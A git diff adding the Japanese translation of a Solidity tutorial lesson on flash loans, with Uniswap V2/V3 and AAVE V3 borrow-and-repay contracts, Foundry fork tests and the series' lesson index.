+テストコントラクトでは、手数料が充分な場合と不足している場合をそれぞれテストしています。Foundryインストール後、以下のコマンドラインでテストできます(RPCを他のイーサリアムRPCに変更できます): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3フラッシュローン + +AAVEは分散型貸出プラットフォームで、その[Poolコントラクト](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424)は`flashLoan()`と`flashLoanSimple()`の2つの関数を通じて単一資産と複数資産のフラッシュローンをサポートしています。ここでは、`flashLoanSimple()`を利用して単一資産(`WETH`)のフラッシュローンを実装します。 + +以下では、フラッシュローンコントラクト`AaveV3Flashloan.sol`を完成させます。`IFlashLoanSimpleReceiver`を継承し、フラッシュローンのコアロジックをコールバック関数`executeOperation`に記述します。 + +全体のロジックはV2と類似しており、フラッシュローン関数`flashloan()`では、AAVE V3の`WETH`プールから`WETH`を借ります。フラッシュローンがトリガーされた後、コールバック関数`executeOperation`がPoolコントラクトによって呼び出されます。裁定取引は行わず、利息を計算した後にフラッシュローンを返済します。AAVE V3フラッシュローンの手数料はデフォルトで1回あたり`0.05%`で、Uniswapより低くなっています。 + +**注意**:コールバック関数では適切な権限制御を行い、AAVEのPoolコントラクトのみが呼び出し、開始者がこのコントラクトであることを確認してください。そうしないと、コントラクト内の資金がハッカーに盗まれる可能性があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice フラッシュローン資産受信後の操作実行 + * @dev コントラクトが債務+追加手数料を返済できることを確認してください。 + * 例:十分な資金を持ち、プールから総額を引き出すための承認を行っている + * @param asset フラッシュローン資産のアドレス + * @param amount フラッシュローン資産の数量 + * @param premium フラッシュローン資産の手数料 + * @param initiator フラッシュローンを開始したアドレス + * @param params フラッシュローン初期化時に渡されたバイトエンコードパラメータ + * @return 操作実行が成功した場合はTrue、失敗した場合はFalseを返す + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3フラッシュローンコントラクト +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // フラッシュローン関数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // フラッシュローンコールバック関数、poolコントラクトのみが呼び出し可能 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // poolコントラクトからの呼び出しであることを確認 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // フラッシュローン開始者がこのコントラクトであることを確認 + require(initiator == address(this), "invalid initiator"); + + // フラッシュローンロジック、ここでは省略 + + // フラッシュローン手数料を計算 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // フラッシュローンを返済 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundryテストコントラクト`AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract AaveV3FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +テストコントラクトでは、手数料が充分な場合と不足している場合をそれぞれテストしています。Foundryインストール後、以下のコマンドラインでテストできます(RPCを他のイーサリアムRPCに変更できます): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## まとめ + +このレッスンでは、フラッシュローンについて紹介しました。フラッシュローンは、ユーザーが1つのトランザクション内で資金を借り入れて迅速に返済することを可能にし、担保を提供する必要がない仕組みです。そして、Uniswap V2、Uniswap V3、およびAAVEのフラッシュローンコントラクトをそれぞれ実装しました。 + +フラッシュローンを通じて、私たちは無担保で大量の資金を活用してリスクフリーの裁定取引や脆弱性攻撃を行うことができます。あなたはフラッシュローンで何をする予定ですか? \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/src/AaveV3Flashloan.sol b/Languages/ja/57_Flashloan_ja/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..d62cafae0 --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice フラッシュローン資産受信後の操作実行 + * @dev コントラクトが債務+追加手数料を返済できることを確認してください。 + * 例:十分な資金を持ち、プールから総額を引き出すための承認を行っている + * @param asset フラッシュローン資産のアドレス + * @param amount フラッシュローン資産の数量 + * @param premium フラッシュローン資産の手数料 + * @param initiator フラッシュローンを開始したアドレス + * @param params フラッシュローン初期化時に渡されたバイトエンコードパラメータ + * @return 操作実行が成功した場合はTrue、失敗した場合はFalseを返す + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3フラッシュローンコントラクト +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // フラッシュローン関数 + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // フラッシュローンコールバック関数、poolコントラクトのみが呼び出し可能 + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // poolコントラクトからの呼び出しであることを確認 + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // フラッシュローン開始者がこのコントラクトであることを確認 + require(initiator == address(this), "invalid initiator"); + + // フラッシュローンロジック、ここでは省略 + + // フラッシュローン手数料を計算 + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + // フラッシュローンを返済 + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/src/Lib.sol b/Languages/ja/57_Flashloan_ja/src/Lib.sol new file mode 100644 index 000000000..57c13816d --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/src/Lib.sol @@ -0,0 +1,113 @@ +pragma solidity >=0.5.0; + +// ERC20トークンインターフェース +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +// Uniswap V2ペアインターフェース +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +// Uniswap V2ファクトリーインターフェース +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +// WETHインターフェース +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + +// Uniswap V3プールアドレス計算ライブラリ +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +// Uniswap V3プールインターフェース +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3プールインターフェース +interface ILendingPool { + // 単一資産のフラッシュローン + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // フラッシュローン手数料を取得、デフォルトは0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/src/UniswapV2Flashloan.sol b/Languages/ja/57_Flashloan_ja/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..c9ace7064 --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2フラッシュローンコールバックインターフェース +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2フラッシュローンコントラクト +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // フラッシュローン関数 + function flashloan(uint wethAmount) external { + // calldataの長さが1より大きい場合にフラッシュローンコールバック関数をトリガー + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Outは借りるDAI、amount1Outは借りるWETH + pair.swap(0, wethAmount, address(this), data); + } + + // フラッシュローンコールバック関数、DAI/WETH pairコントラクトのみが呼び出し可能 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // DAI/WETH pairコントラクトからの呼び出しであることを確認 + address token0 = IUniswapV2Pair(msg.sender).token0(); // token0アドレスを取得 + address token1 = IUniswapV2Pair(msg.sender).token1(); // token1アドレスを取得 + assert(msg.sender == factory.getPair(token0, token1)); // msg.senderがV2ペアであることを確認 + + // calldataをデコード + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // フラッシュローンロジック、ここでは省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // フラッシュローン手数料を計算 + // fee / (amount + fee) = 3/1000 + // 切り上げ + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // フラッシュローンを返済 + weth.transfer(address(pair), amountToRepay); + } +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/src/UniswapV3Flashloan.sol b/Languages/ja/57_Flashloan_ja/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..25e3c1a45 --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/src/UniswapV3Flashloan.sol @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3フラッシュローンコールバックインターフェース +// uniswapV3FlashCallback()関数を実装・オーバーライドする必要があります +interface IUniswapV3FlashCallback { + /// 実装では、flashで送信されたトークンと計算された手数料を + /// プールに返済する必要があります。 + /// このメソッドを呼び出すコントラクトは、公式UniswapV3Factoryで + /// デプロイされたUniswapV3Poolによってチェックされる必要があります。 + /// @param fee0 フラッシュローン終了時にプールに支払うtoken0の手数料 + /// @param fee1 フラッシュローン終了時にプールに支払うtoken1の手数料 + /// @param data IUniswapV3PoolActions#flash呼び出しで呼び出し元から渡された任意のデータ + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3フラッシュローンコントラクト +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // フラッシュローン関数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // フラッシュローンコールバック関数、DAI/WETH pairコントラクトのみが呼び出し可能 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // DAI/WETH pairコントラクトからの呼び出しであることを確認 + require(msg.sender == address(pool), "not authorized"); + + // calldataをデコード + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // フラッシュローンロジック、ここでは省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // フラッシュローンを返済 + weth.transfer(address(pool), wethAmount + fee1); + } +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/test/AaveV3Flashloan.t.sol b/Languages/ja/57_Flashloan_ja/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..bd514e27b --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract AaveV3FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/test/UniswapV2Flashloan.t.sol b/Languages/ja/57_Flashloan_ja/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..e32d21820 --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} \ No newline at end of file diff --git a/Languages/ja/57_Flashloan_ja/test/UniswapV3Flashloan.t.sol b/Languages/ja/57_Flashloan_ja/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..aa5d08235 --- /dev/null +++ b/Languages/ja/57_Flashloan_ja/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV3FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // フラッシュローン借入金額 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手数料が不足している場合、リバートする + function testFlashloanFail() public { + // WETHに交換し、フラッシュローンコントラクトに転送して手数料として使用 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // フラッシュローン借入金額 + uint amountToBorrow = 100 * 1e18; + // 手数料不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} \ No newline at end of file diff --git a/Languages/ja/README.md b/Languages/ja/README.md new file mode 100644 index 000000000..ab5bcc4c0 --- /dev/null +++ b/Languages/ja/README.md @@ -0,0 +1,195 @@ +![](../../img/logo2.jpeg) + +**[中文](https://github.com/AmazingAng/WTF-Solidity) / [English](../en/README.md) / [Español](../es/README.md) / [Português Brasileiro](../pt-br/README.md) / [日本語](../ja/README.md)** + +# WTF Solidity + +最近、Solidityを再学習しており、詳細を確認しながら「WTF Solidity 超シンプル入門」を執筆しています。これは初心者向けのガイドで、毎週1〜3レッスンのペースで更新していきます。 + +Twitter: [@WTFAcademy\_](https://twitter.com/WTFAcademy_) | [@0xAA_Science](https://twitter.com/0xAA_Science) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk) | [ウェブサイト: wtf.academy](https://wtf.academy) + +チュートリアルとコードはGitHubで公開されています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +**注記: WTF Solidityの日本語版は完全版であり、コミュニティによる継続的なレビューを受けています。** + +## 入門編 + +**第1回: HelloWeb3 (3行のコード)**:[コード](./01_HelloWeb3_ja) | [チュートリアル](./01_HelloWeb3_ja/readme.md) + +**第2回: 値型**:[コード](./02_ValueTypes_ja) | [チュートリアル](./02_ValueTypes_ja/readme.md) + +**第3回: 関数 (external/internal/public/private, pure/view, payable)**:[コード](./03_Function_ja) | [チュートリアル](./03_Function_ja/readme.md) + +**第4回: 関数の返り値 (returns/return)**:[コード](./04_Return_ja) | [チュートリアル](./04_Return_ja/readme.md) + +**第5回: データの場所 (storage/memory/calldata)**:[コード](./05_DataStorage_ja) | [チュートリアル](./05_DataStorage_ja/readme.md) + +**第6回: 配列と構造体**:[コード](./06_ArrayAndStruct_ja) | [チュートリアル](./06_ArrayAndStruct_ja/readme.md) + +**第7回: マッピング**:[コード](./07_Mapping_ja) | [チュートリアル](./07_Mapping_ja/readme.md) + +**第8回: デフォルト値**:[コード](./08_InitialValue_ja) | [チュートリアル](./08_InitialValue_ja/readme.md) + +**第9回: 定数 (constant/immutable)**:[コード](./09_Constant_ja) | [チュートリアル](./09_Constant_ja/readme.md) + +**第10回: 制御フロー**:[コード](./10_InsertionSort_ja) | [チュートリアル](./10_InsertionSort_ja/readme.md) + +**第11回: 修飾子**:[コード](./11_Modifier_ja) | [チュートリアル](./11_Modifier_ja/readme.md) + +**第12回: イベント**:[コード](./12_Event_ja) | [チュートリアル](./12_Event_ja/readme.md) + +**第13回: 継承**:[コード](./13_Inheritance_ja) | [チュートリアル](./13_Inheritance_ja/readme.md) + +**第14回: インターフェース**:[コード](./14_Interface_ja) | [チュートリアル](./14_Interface_ja/readme.md) + +**第15回: エラー**:[コード](./15_Errors_ja) | [チュートリアル](./15_Errors_ja/readme.md) + +## 中級編 + +**第16回: 関数のオーバーロード**:[コード](./16_Overloading_ja) | [チュートリアル](./16_Overloading_ja/readme.md) + +**第17回: ライブラリ**:[コード](./17_Library_ja) | [チュートリアル](./17_Library_ja/readme.md) + +**第18回: インポート**:[コード](./18_Import_ja) | [チュートリアル](./18_Import_ja/readme.md) + +**第19回: ETHの受信 (fallback/receive)**:[コード](./19_Fallback_ja) | [チュートリアル](./19_Fallback_ja/readme.md) + +**第20回: ETHの送信 (transfer/send/call)**:[コード](./20_SendETH_ja) | [チュートリアル](./20_SendETH_ja/readme.md) + +**第21回: 他のコントラクトの呼び出し**:[コード](./21_CallContract_ja) | [チュートリアル](./21_CallContract_ja/readme.md) + +**第22回: Call**:[コード](./22_Call_ja) | [チュートリアル](./22_Call_ja/readme.md) + +**第23回: Delegatecall**:[コード](./23_Delegatecall_ja) | [チュートリアル](./23_Delegatecall_ja/readme.md) + +**第24回: 他のコントラクト内でのコントラクト作成**:[コード](./24_Create_ja) | [チュートリアル](./24_Create_ja/readme.md) + +**第25回: Create2**:[コード](./25_Create2_ja) | [チュートリアル](./25_Create2_ja/readme.md) + +**第26回: コントラクトの削除**:[コード](./26_DeleteContract_ja) | [チュートリアル](./26_DeleteContract_ja/readme.md) + +**第27回: ABIエンコード/デコード**:[コード](./27_ABIEncode_ja) | [チュートリアル](./27_ABIEncode_ja/readme.md) + +**第28回: ハッシュ**:[コード](./28_Hash_ja) | [チュートリアル](./28_Hash_ja/readme.md) + +**第29回: 関数セレクタ**:[コード](./29_Selector_ja) | [チュートリアル](./29_Selector_ja/readme.md) + +**第30回: Try-Catch**:[コード](./30_TryCatch_ja) | [チュートリアル](./30_TryCatch_ja/readme.md) + +## 応用編 + +**第31回: ERC20**:[コード](./31_ERC20_ja/) | [チュートリアル](./31_ERC20_ja/readme.md) + +**第32回: トークンフォーセット**:[コード](./32_Faucet_ja/) | [チュートリアル](./32_Faucet_ja/readme.md) + +**第33回: エアドロップ**:[コード](./33_Airdrop_ja/) | [チュートリアル](./33_Airdrop_ja/readme.md) + +**第34回: ERC721**:[コード](./34_ERC721_ja/) | [チュートリアル](./34_ERC721_ja/readme.md) + +**第35回: ダッチオークション**:[コード](./35_DutchAuction_ja/) | [チュートリアル](./35_DutchAuction_ja/readme.md) + +**第36回: マークルツリー**:[コード](./36_MerkleTree_ja/) | [チュートリアル](./36_MerkleTree_ja/readme.md) + +**第37回: デジタル署名**:[コード](./37_Signature_ja/) | [チュートリアル](./37_Signature_ja/readme.md) + +**第38回: NFT取引所**:[コード](./38_NFTSwap_ja/) | [チュートリアル](./38_NFTSwap_ja/readme.md) + +**第39回: ランダム数**:[コード](./39_Random_ja/) | [チュートリアル](./39_Random_ja/readme.md) + +**第40回: ERC1155**:[コード](./40_ERC1155_ja/) | [チュートリアル](./40_ERC1155_ja/readme.md) + +**第41回: WETH**:[コード](./41_WETH_ja/) | [チュートリアル](./41_WETH_ja/readme.md) + +**第42回: 支払い分割**:[コード](./42_PaymentSplit_ja/) | [チュートリアル](./42_PaymentSplit_ja/readme.md) + +**第43回: 線形ベスティング**:[コード](./43_TokenVesting_ja/) | [チュートリアル](./43_TokenVesting_ja/readme.md) + +**第44回: トークンロック**:[コード](./44_TokenLocker_ja/) | [チュートリアル](./44_TokenLocker_ja/readme.md) + +**第45回: タイムロック**:[コード](./45_Timelock_ja/) | [チュートリアル](./45_Timelock_ja/readme.md) + +## 上級編 + +**第46回: プロキシコントラクト**:[コード](./46_ProxyContract_ja/) | [チュートリアル](./46_ProxyContract_ja/readme.md) + +**第47回: アップグレード可能コントラクト**:[コード](./47_Upgrade_ja/) | [チュートリアル](./47_Upgrade_ja/readme.md) + +**第48回: 透明プロキシ**:[コード](./48_TransparentProxy_ja/) | [チュートリアル](./48_TransparentProxy_ja/readme.md) + +**第49回: UUPS**:[コード](./49_UUPS_ja/) | [チュートリアル](./49_UUPS_ja/readme.md) + +**第50回: マルチシグウォレット**:[コード](./50_MultisigWallet_ja/) | [チュートリアル](./50_MultisigWallet_ja/readme.md) + +**第51回: ERC4626 トークン化ボールト**:[コード](./51_ERC4626_ja/) | [チュートリアル](./51_ERC4626_ja/readme.md) + +**第52回: EIP712 型付きデータ署名**:[コード](./52_EIP712_ja/) | [チュートリアル](./52_EIP712_ja/readme.md) + +**第53回: ERC20Permit**:[コード](./53_ERC20Permit_ja/) | [チュートリアル](./53_ERC20Permit_ja/readme.md) + +**第54回: クロスチェーンブリッジ**:[コード](./54_CrossChainBridge_ja/) | [チュートリアル](./54_CrossChainBridge_ja/readme.md) + +**第55回: マルチコール**:[コード](./55_MultiCall_ja/) | [チュートリアル](./55_MultiCall_ja/readme.md) + +**第56回: DEX(分散型取引所)**:[コード](./56_DEX_ja/) | [チュートリアル](./56_DEX_ja/readme.md) + +**第57回: フラッシュローン**:[コード](./57_Flashloan_ja/) | [チュートリアル](./57_Flashloan_ja/readme.md) + +## セキュリティ + +**第S1回: リエントランシー攻撃**:[コード](./S01_ReentrancyAttack_ja/) | [チュートリアル](./S01_ReentrancyAttack_ja/readme.md) + +**第S2回: セレクタークラッシュ**:[コード](./S02_SelectorClash_ja/) | [チュートリアル](./S02_SelectorClash_ja/readme.md) + +**第S3回: 中央集権化**:[コード](./S03_Centralization_ja/) | [チュートリアル](./S03_Centralization_ja/readme.md) + +**第S4回: アクセス制御の悪用**:[コード](./S04_AccessControlExploit_ja/) | [チュートリアル](./S04_AccessControlExploit_ja/readme.md) + +**第S5回: 整数オーバーフロー**:[コード](./S05_Overflow_ja/) | [チュートリアル](./S05_Overflow_ja/readme.md) + +**第S6回: 署名リプレイ**:[コード](./S06_SignatureReplay_ja/) | [チュートリアル](./S06_SignatureReplay_ja/readme.md) + +**第S7回: 悪質な乱数**:[コード](./S07_BadRandomness_ja/) | [チュートリアル](./S07_BadRandomness_ja/readme.md) + +**第S8回: コントラクト長チェックの回避**:[コード](./S08_ContractCheck_ja/) | [チュートリアル](./S08_ContractCheck_ja/readme.md) + +**第S9回: サービス拒否攻撃 (DoS)**:[コード](./S09_DoS_ja/) | [チュートリアル](./S09_DoS_ja/readme.md) + +**第S10回: ハニーポット**:[コード](./S10_Honeypot_ja/) | [チュートリアル](./S10_Honeypot_ja/readme.md) + +**第S11回: フロントランニング**:[コード](./S11_Frontrun_ja/) | [チュートリアル](./S11_Frontrun_ja/readme.md) + +**第S12回: tx.originフィッシング攻撃**:[コード](./S12_TxOrigin_ja/) | [チュートリアル](./S12_TxOrigin_ja/readme.md) + +**第S13回: 未チェック低レベル呼び出し**:[コード](./S13_UncheckedCall_ja/) | [チュートリアル](./S13_UncheckedCall_ja/readme.md) + +**第S14回: ブロックタイムスタンプ操作**:[コード](./S14_TimeManipulation_ja/) | [チュートリアル](./S14_TimeManipulation_ja/readme.md) + +**第S15回: オラクル操作**:[コード](./S15_OracleManipulation_ja/) | [チュートリアル](./S15_OracleManipulation_ja/readme.md) + +**第S16回: NFTリエントランシー攻撃**:[コード](./S16_NFTReentrancy_ja/) | [チュートリアル](./S16_NFTReentrancy_ja/readme.md) + +**第S17回: クロスリエントランシー**:[コード](./S17_CrossReentrancy_ja/) | [チュートリアル](./S17_CrossReentrancy_ja/readme.md) + +## WTF貢献者 + +
+

+ 貢献者はWTFアカデミーの基盤です +

+ + + +
